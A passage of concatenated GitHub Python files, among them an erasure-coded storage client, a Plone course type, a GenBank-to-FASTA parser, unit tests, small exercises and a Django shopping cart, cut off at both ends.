try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n return\n\n\n def decode(self, chunk_list, m, k):\n\n assert(m > k)\n ec_driver = ECDriver(k=k, m=m, ec_type=self.ec_type)\n start_time = time.time()\n if k == 1:\n return chunk_list[0]\n\n for i in range(len(chunk_list)):\n chunk_list[i] = chunk_list[i].encode(self.encoding_byte)\n decoded_data = ec_driver.decode(chunk_list).decode(self.encoding_byte)\n end_time = time.time()\n self.lock_coding_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n self.coding_log.write(\"decode:\" + str(delta_time) + \"\\n\")\n self.lock_coding_log.release()\n return decoded_data\n\n\n def encode(self, value, codes, m, k):\n\n assert(m > k)\n ec_driver = ECDriver(k=k, m=m, ec_type=self.ec_type)\n # Updated for viveck\n start_time = time.time()\n if k == 1:\n codes.extend([value]*m)\n return codes\n\n codes.extend(ec_driver.encode(value.encode(self.encoding_byte)))\n for index in range(len(codes)):\n #print(type(codes[index]))\n codes[index] = codes[index].decode(self.encoding_byte)\n #print(sys.getsizeof(codes[index]))\n end_time = time.time()\n self.lock_coding_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n self.coding_log.write(\"encode:\" + str(delta_time) + \"\\n\")\n self.lock_coding_log.release()\n return\n\n #TODO: TEST WHEN DEPLOYED IF NEEDED\n def _get_from_remaining(self, key, timestamp, server_list, called_data_center):\n # Get the data from the servers except for called_data_center\n # Please not here server_list is [(DC_ID, [server_list])]\n\n thread_list = []\n output = []\n # Waiting for remaining all to return the value\n sem = threading.Barrier(self.quorum_4 - self.k + 1, timeout=self.timeout)\n lock = threading.Lock()\n for data_center_id, servers in server_list:\n for server_id in servers:\n # If already called then just skip\n if (data_center_id, server_id) in called_data_center:\n continue\n\n server_info = self.data_center.get_server_info(data_center_id, server_id)\n thread_list.append(threading.Thread(target=self._get,\n args=(key,\n timestamp,\n sem,\n copy.deepcopy(server_info),\n output,\n lock,\n True)))\n thread_list[-1].deamon = True\n thread_list[-1].start()\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n return output\n\n\n def get(self, key, placement):\n\n q1_dc_list = placement[\"Q1\"]\n q4_dc_list = placement[\"Q4\"]\n m = placement[\"m\"]\n k = placement[\"k\"]\n \n # Step1: Get the timestamp for the key\n # Error can imply either server busy or key doesn't exist\n try:\n start_time = time.time()\n timestamp, socket_times = self.get_timestamp(key, q1_dc_list)\n end_time = time.time()\n\n self.lock_latency_log.acquire()\n max_socket_time = max(socket_times)\n delta_time = int((end_time - start_time)*1000)\n q1_time = delta_time - max_socket_time\n self.latency_log.write(\"get:Q1:\" + str(q1_time) + \"\\n\")\n self.lock_latency_log.release()\n except Exception as e:\n return {\"status\": \"TimeOut\", \"message\": \"Timeout during get timestamp call of Viveck\"}\n\n thread_list = []\n\n sem = threading.Barrier(len(q4_dc_list) + 1, timeout=self.timeout)\n lock = threading.Lock()\n\n # Step2: Get the encoded value\n index = 0\n output = []\n socket_times = []\n # This parameter is to mark the datacenter, servers which have already sent an request\n \n called_data_center = set()\n # Sending the get request to the selected servers\n start_time = time.time()\n for data_center_id in q4_dc_list:\n #TODO: assume single server in every datacenter\n for server_id in [\"1\"]:\n server_info = self.data_center.get_server_info(data_center_id, server_id)\n thread_list.append(threading.Thread(target=self._get,\n args=(key,\n timestamp,\n sem,\n copy.deepcopy(server_info),\n output,\n socket_times,\n lock,\n 0,\n True)))\n thread_list[-1].deamon = True\n thread_list[-1].start()\n if index < k:\n called_data_center.add((data_center_id, server_id))\n index += 1\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n end_time = time.time()\n self.lock_latency_log.acquire()\n max_socket_time = max(socket_times)\n delta_time = int((end_time - start_time)*1000)\n q4_time = delta_time - max_socket_time\n self.latency_log.write(\"get:Q4:\" + str(q4_time) + \"\\n\")\n self.lock_latency_log.release()\n sem.abort()\n\n lock.acquire()\n # If we doesn't get requested data. We will try to ping all other servers for it.\n# if (len(output) < self.k):\n# additional_codes = self._get_from_remaining(key,\n# timestamp,\n# minimum_cost_list,\n# called_data_center)\n# output.extend(additional_codes)\n\n # We didn't get it from all other servers too. So basically we raise an error\n if (len(output) < k):\n lock.release()\n return {\"status\": \"TimeOut\", \"value\": \"None\", \"message\": \"Timeout/Concurrency error during get call\"}\n try:\n value = self.decode(output, m, k)\n except Exception as e:\n lock.release()\n return {\"status\": \"TimeOut\", \"value\": \"None\",\"message\": e}\n\n lock.release()\n request_time = q1_time + q4_time\n return {\"status\": \"OK\", \"value\": value, \"timestamp\": timestamp}, request_time\n\n# def get_logger(self, tag):\n# logger_ = logging.getLogger(tag)\n# logger_.setLevel(logging.INFO)\n# logger_.addHandler(logstash.TCPLogstashHandler(\"localhost\", 8080, version=1))\n# logger_.addHandler(StreamHandler())\n# return logger_\n\n\n def get_logger(self,log_path):\n logger_ = logging.getLogger('log')\n logger_.setLevel(logging.INFO)\n handler = logging.FileHandler(log_path)\n # XXX: TODO: Check if needed\n handler.setFormatter(logging.Formatter('%(message)s'))\n logger_.addHandler(handler)\n return logger_\n","repo_name":"shahrooz1997/LEGOstore","sub_path":"python3/source/CAS_Client.py","file_name":"CAS_Client.py","file_ext":"py","file_size_in_byte":25573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"1323440143","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 29 08:38:51 2021\n\n@author: Dell-User\n\"\"\"\n\nfrom includes import *\nfrom PyQt5 import QtWidgets\n\n# Debug\ndebug = False\n\n# Run app\napp = QtWidgets.QApplication(sys.argv)\nMainWindow = MoanaGui.PlotWindow(debug=debug, bitfile_path=paths.bitfile_path)\nMainWindow.configure()\nMainWindow.show()\nsys.exit(app.exec_())","repo_name":"krenehan/MOANA3_Python37_Codes","sub_path":"chips/moana3/experiments/gui_development/top_level_script.py","file_name":"top_level_script.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70026590137","text":"h, w =map(int, input().split())\ns = []\nzahyou = []\nfor i in range(h):\n s.append(input())\n\nfor i in range(h):\n for j in range(w):\n if s[i][j] == 'o':\n zahyou.append((i, j))\nans = abs(zahyou[0][0] - zahyou[1][0]) + abs(zahyou[0][1] - zahyou[1][1])\n\nprint(ans)","repo_name":"ck-ksst/AtCoder","sub_path":"ABC/253/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10010472341","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),\n ('name', models.CharField(max_length=64)),\n ],\n ),\n migrations.CreateModel(\n name='Post',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),\n ('title', models.CharField(max_length=128)),\n ('slug', models.SlugField(blank=True, default='', max_length=128)),\n ('content', models.TextField()),\n ('category', models.ForeignKey(blank=True, null=True, to='api.Category',\n on_delete=models.SET_NULL)),\n ],\n ),\n ]\n","repo_name":"Brobin/drf-generators","sub_path":"tests/api/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":341,"dataset":"github-code","pt":"22"} +{"seq_id":"1408554263","text":"# -*- coding: utf-8 -*-\n\"\"\"Definition of the CourseFolder content type.\n\"\"\"\n\nfrom zope.interface import implements\nfrom zope.schema import fieldproperty\nfrom zope.component import adapts, adapter, getMultiAdapter, getUtility\n\nfrom zope.app.container.interfaces import INameChooser\n\nfrom plone.portlets.interfaces import IPortletManager\nfrom plone.portlets.interfaces import IPortletAssignmentMapping\n\nfrom Acquisition import aq_inner, aq_parent\nfrom Products.Archetypes.interfaces import IObjectInitializedEvent\nfrom Products.CMFCore.utils import getToolByName\n\nfrom BTrees.OOBTree import OOSet\nfrom BTrees.OOBTree import OOBTree\nfrom Products.Archetypes import atapi\nfrom Products.validation import V_REQUIRED\n\nfrom Products.ATContentTypes.content import folder\nfrom Products.ATContentTypes.content.schemata import finalizeATCTSchema\n\nfrom eduintelligent.courses.interfaces import ICourse, IBannerProvider\nfrom eduintelligent.courses.config import PROJECTNAME, COURSEBOX_PORTLET_COLUMN\nfrom eduintelligent.courses.utility import hideMetadataSchema\nfrom eduintelligent.courses.portlets import coursebox\n\nfrom eduintelligent.courses import coursesMessageFactory as _\n\nCourseSchema = folder.ATBTreeFolderSchema.copy() + atapi.Schema((\n \n atapi.StringField('courseCode',\n #required=True,\n searchable=True,\n storage=atapi.AnnotationStorage(),\n widget=atapi.StringWidget(label=_(u\"Course code\"),\n description=_(u\"This should match the course code used in the \"\n \"booking system.\"))\n ),\n # By using the name 'image' we can have the image show up in preview\n # folder listings for free\n atapi.ImageField('image',\n #required=True,\n languageIndependent=True,\n storage=atapi.AnnotationStorage(),\n swallowResizeExceptions=True,\n #pil_quality=90,\n #pil_resize_algo='antialias',\n max_size='no',\n sizes={'preview' : (400, 400),\n 'mini' : (200, 200),\n 'icon' : (32, 32),\n },\n validators=(('isNonEmptyFile', V_REQUIRED),\n ('checkImageMaxSize', V_REQUIRED)),\n widget=atapi.ImageWidget(label= _(u\"Course image\"),\n description = _(u\"\"),\n show_content_type = False,),\n ),\n\n atapi.TextField('courseObjetives',\n #required=False,\n searchable=True,\n storage=atapi.AnnotationStorage(),\n validators=('isTidyHtmlWithCleanup',),\n default_output_type='text/x-html-safe',\n widget=atapi.RichWidget(label=_(u\"Objetives\"),\n description=_(u\"Write the course objetives, (is different to course's description)\"),\n rows=15,\n allow_file_upload=False),\n ),\n\n atapi.StringField('courseCategory',\n required=True,\n searchable=True,\n vocabulary='getCategories',\n storage=atapi.AnnotationStorage(),\n widget=atapi.SelectionWidget(label=_(u\"Category\"),\n description=_(u\"Select the category\"))\n ),\n atapi.DateTimeField('startDate',\n #required=True,\n searchable=False,\n accessor='start',\n #default_method=DateTime, # Default to current date\n languageIndependent=True,\n storage=atapi.AnnotationStorage(),\n widget=atapi.CalendarWidget(label=_(u\"Start Date\"),\n description=_(u\"\"),\n show_hm=False),\n ),\n\n atapi.DateTimeField('endDate',\n #required=True,\n searchable=False,\n accessor='end',\n #default_method=DateTime, # Default to current date\n languageIndependent=True,\n storage=atapi.AnnotationStorage(),\n widget=atapi.CalendarWidget(label=_(u\"End Date\"),\n description=_(u\"\"),\n show_hm=False),\n ),\n atapi.LinesField('instructor',\n #required=True,\n searchable=True,\n storage=atapi.AnnotationStorage(),\n widget=atapi.LinesWidget(label=_(u\"Course code\"),visible=False)\n ),\n atapi.StringField('registered',\n #required=True,\n storage=atapi.AnnotationStorage(),\n widget=atapi.StringWidget(label=_(u\"Course code\"),visible=False)\n ),\n\n atapi.IntegerField(\"vigencyDays\",\n required=False,\n default=365,\n storage=atapi.AnnotationStorage(),\n widget=atapi.IntegerWidget(\n label=_(u'Course expiration period'),\n description=_(u'Defines the number of days the course stays open.'),\n ),\n ),\n \n \n \n))\n\nCourseSchema['title'].storage = atapi.AnnotationStorage()\nCourseSchema['description'].storage = atapi.AnnotationStorage()\n\nfinalizeATCTSchema(CourseSchema, folderish=True, moveDiscussion=False)\nhideMetadataSchema(CourseSchema, excludeFromNav=True)\n\nclass Course(folder.ATBTreeFolder):\n \"\"\"An ATBTreeFolder that contains course-related items.\n \"\"\"\n implements(ICourse)\n \n portal_type = \"Course\"\n _at_rename_after_creation = True\n schema = CourseSchema\n \n title = atapi.ATFieldProperty('title')\n description = atapi.ATFieldProperty('description')\n course_code = atapi.ATFieldProperty('courseCode')\n start_date = atapi.ATDateTimeFieldProperty('startDate')\n end_date = atapi.ATDateTimeFieldProperty('endDate')\n category = atapi.ATFieldProperty('courseCategory')\n objetives = atapi.ATFieldProperty('courseObjetives')\n vigency = atapi.ATFieldProperty('vigencyDays')\n\n # These two methods allow Plone to display the contained image\n # in its standard folder listings, and supports proper rendering\n # of scaled images. They are borrowed from ATContentTypes's ATNewsItem\n # class.\n \n def __init__(self, id=None):\n super(Course, self).__init__(id)\n self.attended_users = OOBTree() # userid -> DateTime\n\n def initStorageUsers(self):\n if not hasattr(self, 'attended_users'):\n setattr(self, 'attended_users', OOBTree())\n\n \n def tag(self, **kwargs):\n \"\"\"Generate image tag using the api of the ImageField\n \"\"\"\n return self.getField('image').tag(self, **kwargs)\n\n def __bobo_traverse__(self, REQUEST, name):\n \"\"\"Give transparent access to image scales. This hooks into the\n low-level traversal machinery, checking to see if we are trying to\n traverse to /path/to/object/image_, and if so, returns\n the appropriate image content.\n \"\"\"\n if name.startswith('image'):\n field = self.getField('image')\n image = None\n if name == 'image':\n image = field.getScale(self)\n else:\n scalename = name[len('image_'):]\n if scalename in field.getAvailableSizes(self):\n image = field.getScale(self, scale=scalename)\n if image is not None and not isinstance(image, basestring):\n # image might be None or '' for empty images\n return image\n\n return super(Course, self).__bobo_traverse__(REQUEST, name)\n\n\n \n def getCategories(self, prefix=''):\n parent = self.aq_inner.aq_parent\n return parent.getCategories()\n \n def getLocalRoles(self, role):\n #context = aq_inner(self.context)\n membership = getToolByName(self, 'portal_membership')\n portal = getToolByName(self, 'portal_url').getPortalObject()\n acl_users = getattr(portal, 'acl_users')\n\n result = []\n local_roles = self.get_local_roles()\n for name, roles in local_roles:\n #local_roles = acl_users.getLocalRolesForDisplay(self) \n #for name, roles, rtype, rid in local_roles:\n for r in roles:\n if r == role: \n member = acl_users.getUserById(name)\n #member = acl_users.getUserById(rid)\n if member is not None:\n name = member.getProperty('fullname') or name\n result.append(name)\n return result\n \n def getRegisteredStudents(self):\n #cuanto gasta de tiempo esto?? cada vez que es llamado desde la vista de curso\n #seria recomendable que mejor se guarde este campo en un archetype \n #para que no gaste procesador cada vez que se \n role='Student'\n pg = getToolByName(self, 'portal_groups')\n \n portal = getToolByName(self, 'portal_url').getPortalObject()\n acl_users = getattr(portal, 'acl_users')\n\n result = []\n local_roles = acl_users.getLocalRolesForDisplay(self) \n for name, roles, rtype, rid in local_roles:\n if rtype == 'user':\n if role in roles:\n result.append(rid)\n elif rtype == 'group':\n group = pg.getGroupById(rid)\n if group:\n members = group.getGroupMembers()\n for member in members:\n mid = member.getId()\n if not mid in result:\n result.append(mid)\n return result\n \n def getPublishState(self):\n \"\"\"\n \"\"\"\n wftool = getToolByName(self, \"portal_workflow\")\n return wftool.getInfoFor(self, 'review_state')\n\n \natapi.registerType(Course, PROJECTNAME)\n\n# This simple adapter uses Archetypes' ImageField to extract an HTML tag\n# for the banner image. This is used in the promotions portlet to avoid\n# having a hard dependency on the AT ImageField implementation.\n\n# Note that we adapt a class, not an interface. This means that we will only\n# match adapter lookups for this class (or a subclass), which is correct in\n# this case, because we are relying on internal implementation details.\n\n#TODO: Realmente usamos BannerProvider?? No lo creo!!\n\nclass BannerProvider(object):\n implements(IBannerProvider)\n adapts(Course)\n \n def __init__(self, context):\n self.context = context\n \n @property\n def tag(self):\n return self.context.getField('image').tag(self.context, scale='mini')\n\n\n# We will register this function as an event handler, adding a \"promotions\"\n# portlet whenever a cinema folder is first created. \n@adapter(ICourse, IObjectInitializedEvent)\ndef add_course_portlet(obj, event):\n \n # Only do this if the parent is not a course, i.e. only do it on\n # top-level course. Of course, site managers can move things \n # around once the site structure is created\n \n parent = aq_parent(aq_inner(obj))\n if ICourse.providedBy(parent):\n return\n \n # A portlet manager is akin to a column\n column = getUtility(IPortletManager, name=COURSEBOX_PORTLET_COLUMN)\n \n # We multi-adapt the object and the column to an assignment mapping,\n # which acts like a dict where we can put portlet assignments\n manager = getMultiAdapter((obj, column,), IPortletAssignmentMapping)\n \n # We then create the assignment and put it in the assignment manager,\n # using the default name-chooser to pick a suitable name for us.\n assignment = coursebox.Assignment()\n chooser = INameChooser(manager)\n manager[chooser.chooseName(None, assignment)] = assignment\n","repo_name":"iservicesmx/eduintelligent-LCMS","sub_path":"src/eduintelligent.courses/eduintelligent/courses/content/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":11511,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"41493492505","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\n\"\"\"\n\n# This script was adapted from Alexander Thomas Baker and Sanjay Kumar Srikakulam (researchgate)\n# Link to the original script: https://www.researchgate.net/post/How_can_I_parse_a_GenBank_file_to_retrieve_specific_gene_sequences_with_IDs\n# It was modified on 28/09/20 by Mathieu Tachon and Leona Milec\n\nfrom Bio import SeqIO\nimport os\n\ninput_file = \"allspecies.gb\" #Your GenBank file locataion. e.g C:\\\\Sequences\\\\my_genbank.gb\noutput_file_template = \"new{}.fasta\" #The name out your fasta output\ngenes_dict = {\"COI\": [\"COX1\", \"CO1\", \"COI\",\"cytochrome c oxidase subunit I\"],\n \"COII\": [\"COX2\", \"CO2\", \"COII\",\"cytochrome c oxidase subunit II\"],\n \"COIII\": [\"COX3\", \"CO3\", \"COIII\",\"cytochrome c oxidase subunit III\"],\n \"ND1\": [\"ND1\", \"NADH dehydrogenase subunit 1\"],\n \"ND2\": [\"ND2\", \"NADH dehydrogenase subunit 2\"],\n \"ND3\": [\"ND3\", \"NADH dehydrogenase subunit 3\"],\n \"ND4\": [\"ND4\", \"NADH dehydrogenase subunit 4\"],\n \"ND4L\": [\"ND4L\", \"NADH dehydrogenase subunit 4L\"],\n \"ND5\": [\"ND5\", \"NADH dehydrogenase subunit 5\"],\n \"ND6\": [\"ND6\", \"NADH dehydrogenase subunit 6\"],\n \"ATP6\": [\"ATP6\", \"ATPase 6\", \"ATPase subunit 6\", \"ATP synthase F0 subunit 6\",\"ATPase6\"],\n \"ATP8\": [\"ATP8\", \"ATPase 8\", \"ATPase subunit 8\", \"ATP synthase F0 subunit 8\",\"ATPase8\"],\n \"12S\": [\"12S\",\"12S rRNA\", \"12S ribosomal RNA\",\"s-rRNA\",\"srRNA\"],\n \"16S\": [\"16S\",\"16S rRNA\", \"16S ribosomal RNA\",\"l-rRNA\",\"lrRNA\"],\n \"DLOOP\": [\"D-loop\",\"D loop\",\"Dloop\",\"control region\",\"putative control region\",\"complete\",\"control region (completely determined)\", \"control region incomplete\",\"control region, incomplete\"],\n \"CYTB\": [\"CYTB\",\"cytochrome b\"] \n }\n\nfor rec in SeqIO.parse(input_file, \"gb\"): #calls the record for the genbank file and SeqIO (BioPython module) to parse it\n acc = rec.annotations['accessions'][0] #Defines your accession numbers\n organism = rec.annotations['organism'] #defines your organism ID\n tax_line = (\"| \").join(rec.annotations['taxonomy']) #defines your taxonomy and seperates entries with a |, remove this line, the 'tax_line', and the {2} in your save for a simpler output\n for feature in rec.features: #looks for features in the genbank\n for key, val in feature.qualifiers.items(): #looks for val in the feature qualifiers\n for g, l in genes_dict.items():\n if any(el in val for el in l):\n try:\n with open(output_file_template.format(g), \"a\") as ofile: #opens the output file and \"a\" designates it for appending\n ofile.write(\">{0}| {1}| {2}| \\n{3}\\n\\n\".format(acc, organism, val[0], feature.extract(rec.seq))) #Writes my FASTA format sequences to the output file \n except Exception:\n print(\"Error for feature : {}, with qualifiers: {}\\n\".format(feature, feature.qualifiers))\n","repo_name":"lmilec/mitoprep","sub_path":"GenBank_to_FASTA_Parser.py","file_name":"GenBank_to_FASTA_Parser.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15345691738","text":"#!/usr/bin/env python3\n\"\"\" utils.py test module\n\"\"\"\nimport unittest\nfrom utils import access_nested_map, get_json, memoize\nfrom parameterized import parameterized\nfrom unittest.mock import Mock, patch\n\n\nclass TestAccessNestedMap(unittest.TestCase):\n \"\"\" access_nested_map test class\"\"\"\n @parameterized.expand([\n ({\"a\": 1}, (\"a\",), 1),\n ({\"a\": {\"b\": 2}}, (\"a\",), {'b': 2}),\n ({\"a\": {\"b\": 2}}, (\"a\", \"b\"), 2)\n ])\n def test_access_nested_map(self, nested_map, path, expected):\n \"\"\" Method that tests access_nested_map function \"\"\"\n self.assertEquals(access_nested_map(nested_map, path), expected)\n\n @parameterized.expand([\n ({}, (\"a\",), KeyError),\n ({\"a\": 1}, (\"a\", \"b\"), KeyError)\n ])\n def test_access_nested_map_exception(self, nested_map, path, expected):\n \"\"\" Method that tests access_nested_map's exception \"\"\"\n self.assertRaises(expected)\n\n\nclass TestGetJson(unittest.TestCase):\n \"\"\" get_json test class \"\"\"\n @parameterized.expand([\n (\"http://example.com\", {\"payload\": True}),\n (\"http://holberton.io\", {\"payload\": False})\n ])\n @patch('test_utils.get_json')\n def test_get_json(self, test_url, test_payload, class_mock):\n \"\"\" Method that tests get_json function \"\"\"\n class_mock.return_value = test_payload\n self.assertEquals(get_json(test_url), test_payload)\n\n\nclass TestMemoize(unittest.TestCase):\n \"\"\" memoize test class \"\"\"\n def test_memoize(self, ):\n \"\"\" Method that tests memoize function \"\"\"\n\n class TestClass:\n \"\"\" Test class \"\"\"\n def a_method(self):\n \"\"\" Method to return 42 \"\"\"\n return 42\n\n @memoize\n def a_property(self):\n \"\"\" Method that returns a_metho() memoized \"\"\"\n return self.a_method()\n\n with patch.object(TestClass, 'a_method', return_value=42) as patched:\n test_class = TestClass()\n real_return = test_class.a_property\n real_return = test_class.a_property\n\n self.assertEqual(real_return, 42)\n patched.assert_called_once()\n","repo_name":"ffelipegupe/holbertonschool-web_back_end","sub_path":"0x09-Unittests_and_integration_tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72609491575","text":"class Atm:\n def __init__(self,cardnumber,pin):\n self.cardnumber=cardnumber\n self.pin=pin\n self.balances=50000\n\n def balance(self):\n print('balance is ',self.balances)\n \n\n def withdrawl(self,amount):\n self.balances=self.balances-amount\n print(\"your balance is: \", self.balances)\n\ndef main():\n cardnumber=input('enter your cardnumber')\n pin=input('enter your pin? ')\n\n user1= Atm(cardnumber,pin)\n\n activity=int(input('choose your activity 1.check balance 2. withdrawl money '))\n\n if(activity == 1):\n user1.balance()\n elif(activity == 2):\n amount=int(input('enter the amount to be withdrawned? '))\n user1.withdrawl(amount)\n else:\n print('enter a valid number')\n\nmain()\n \n","repo_name":"delishadalu/c100","sub_path":"atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"43900714412","text":"\ndef beautifulTriplets(d, list):\n triplet_count = 0\n for index in range(len(list) - 2):\n is_beautiful_count = 1\n temp = list[index]\n\n i = index + 1\n while True:\n is_beautiful = list[i] - temp == d\n\n if is_beautiful:\n is_beautiful_count += 1\n temp = list[i]\n\n # Defining below conditions in the while expression does not work. Why?\n if i == len(list) - 1 or is_beautiful_count == 3:\n break\n i += 1\n\n if is_beautiful_count == 3:\n triplet_count += 1\n return triplet_count\n\n\nprint(beautifulTriplets(3, [1, 2, 4, 5, 7, 8, 10]))\n# print(beautifulTriplets(3, [1, 6, 7, 7, 8, 10, 12, 13, 14, 19]))\n","repo_name":"CoderFemi/AlgorithmsDataStructures","sub_path":"practice_challenges/python/beautiful_triplets.py","file_name":"beautiful_triplets.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5071005568","text":"import os\nimport pandas as pd\n \ndef get_service_filename(): \n arr = os.listdir('../scraper/database')\n lst = []\n for service in arr:\n if not \"saturatedMe\" in service:\n lst.append(service)\n print(\"Servicelist to analyze: %s\" % (lst))\n return lst\n\ndef get_df_from_file(filename, sheetName):\n print(\"\\nRetreiving filename from: %s\" % (filename))\n filepath = '../scraper/database/' + filename\n df = pd.read_excel(\n filepath,\n engine='openpyxl',\n sheet_name=sheetName\n )\n return df","repo_name":"Asberg-tech/masterthesis","sub_path":"dataanalyses/servicehandler.py","file_name":"servicehandler.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70214211257","text":"import json\n\nfrom selenium import webdriver\nfrom selenium.webdriver import DesiredCapabilities\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport time\n\nf = open('patient_info_data.json')\ndata = json.load(f)\n\nprofile = webdriver.FirefoxProfile(\n '/Users/jason/Library/Application Support/Firefox/Profiles/d80pd38m.default-release')\nprofile.update_preferences()\ndesired = DesiredCapabilities.FIREFOX\nasu_driver_options = Options()\nasu_driver_options.headless = False\n\ndriver = webdriver.Firefox(firefox_profile=profile,\n desired_capabilities=desired,\n executable_path=\"/Users/jason/Downloads/geckodriver\",\n options=asu_driver_options)\nfor comment in data:\n try:\n url = comment['source']\n driver.get(url)\n time.sleep(1)\n post_text = driver.find_element(By.ID, \"post_content\").find_element(By.TAG_NAME, 'input').get_attribute('value')\n inner_text = post_text.replace('\\n', ' ').replace('\\r', '')\n comment['question_text'] = inner_text\n except Exception as e:\n print(e)\nwith open('patient_info_data_updated.json', 'w') as f:\n json.dump(data, f)\n\n","repo_name":"andy08691/sementic_web_mining","sub_path":"Mining Code/patient_info_scraper.py","file_name":"patient_info_scraper.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37069919404","text":"import re\nfrom django.views.generic import View\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom libs.cookies import set_cookie\nfrom libs.views_ajax import AjaxViewMixin\nfrom libs.valute_field.valute import Valute\nfrom .models import ShopProduct\nfrom . import conf\n\n\nclass Cart:\n \"\"\"\n Список товаров в корзине\n \"\"\"\n def __init__(self):\n self._unformatted = {}\n self._products = ()\n self._counts = ()\n\n def __bool__(self):\n return bool(self._products)\n\n def __iter__(self):\n return iter(self._products)\n\n @property\n def products(self):\n return self._products\n\n @property\n def products_counts(self):\n return zip(self._products, self._counts)\n\n @property\n def products_prices_counts(self):\n return ((prod, prod.price * count, count) for prod, count in self.products_counts)\n\n @property\n def total_count(self):\n return sum(self._counts)\n\n @property\n def total_price(self):\n return sum((prod.price * count for prod, count in self.products_counts), Valute(0))\n\n def _format(self):\n \"\"\"\n Превращает неформатированный словарь self._unformatted вида {ID: count}\n в кортеж self._products с элементами (Product, count, price*count)\n \"\"\"\n counts = []\n products = []\n for product in ShopProduct.objects.filter(id__in=self._unformatted):\n count = self._unformatted[product.id]\n if count > 0:\n count = max(0, count)\n if conf.MAX_PRODUCT_COUNT:\n count = min(count, conf.MAX_PRODUCT_COUNT)\n if count:\n counts.append(count)\n products.append(product)\n\n self._counts = tuple(counts)\n self._products = tuple(products)\n\n def clear(self, request, response=None):\n \"\"\"\n Очистка корзины и данных сессии\n \"\"\"\n self._unformatted = {}\n self._products = ()\n self._counts = ()\n\n try:\n del request.session[conf.SESSION_CART_NAME]\n except KeyError:\n pass\n\n if response:\n set_cookie(response, 'clear_cart', '1')\n\n @classmethod\n def from_session(cls, request):\n \"\"\"\n Заполнение объекта из сессии\n \"\"\"\n cart = cls()\n\n cart._unformatted = {}\n data = request.session.get(conf.SESSION_CART_NAME) or {}\n for product_id, count in data.items():\n try:\n product_id = int(product_id)\n except (TypeError, ValueError):\n continue\n\n cart._unformatted[product_id] = count\n\n cart._format()\n return cart\n\n @classmethod\n def from_data(cls, data, fieldname='cart'):\n \"\"\"\n Заполнение объекта из GET или POST-данных.\n Информация извлекается из полей вида \"cart[ID]=count\"\n \"\"\"\n re_items_key = re.compile('^{}\\[(\\d+)\\]$'.format(fieldname))\n\n cart = cls()\n cart._unformatted = {}\n for query_key, value in data.items():\n match = re_items_key.match(query_key)\n if not match:\n continue\n\n product_id = match.group(1)\n try:\n product_id = int(product_id)\n except (TypeError, ValueError):\n continue\n\n try:\n value = int(value)\n except (TypeError, ValueError):\n value = 0\n\n cart._unformatted[product_id] = value\n\n cart._format()\n return cart\n\n @classmethod\n def from_order(cls, order):\n \"\"\"\n Заполнение объекта из заказа\n \"\"\"\n cart = cls()\n\n cart._unformatted = {}\n data = {order_item.product_id: order_item.count for order_item in order.records.all()}\n for product_id, count in data.items():\n try:\n product_id = int(product_id)\n except (TypeError, ValueError):\n continue\n\n cart._unformatted[product_id] = count\n\n cart._format()\n return cart\n\n def to_session(self, request):\n \"\"\"\n Сохранение данных в сессию\n \"\"\"\n request.session[conf.SESSION_CART_NAME] = self._unformatted\n\n\nclass SaveCart(AjaxViewMixin, View):\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request):\n \"\"\" Установка всех товаров в корзине \"\"\"\n cart = Cart.from_data(request.POST)\n cart.to_session(request)\n return self.json_response()\n\n\nclass LoadCart(AjaxViewMixin, View):\n def get(self, request):\n \"\"\" Получение всех товаров из сессии \"\"\"\n cart = Cart.from_session(request)\n return self.json_response({\n 'cart': {p.id: c for p, c in cart.products_counts},\n })\n\n\nclass ClearCart(AjaxViewMixin, View):\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request):\n \"\"\" Очистка корзины 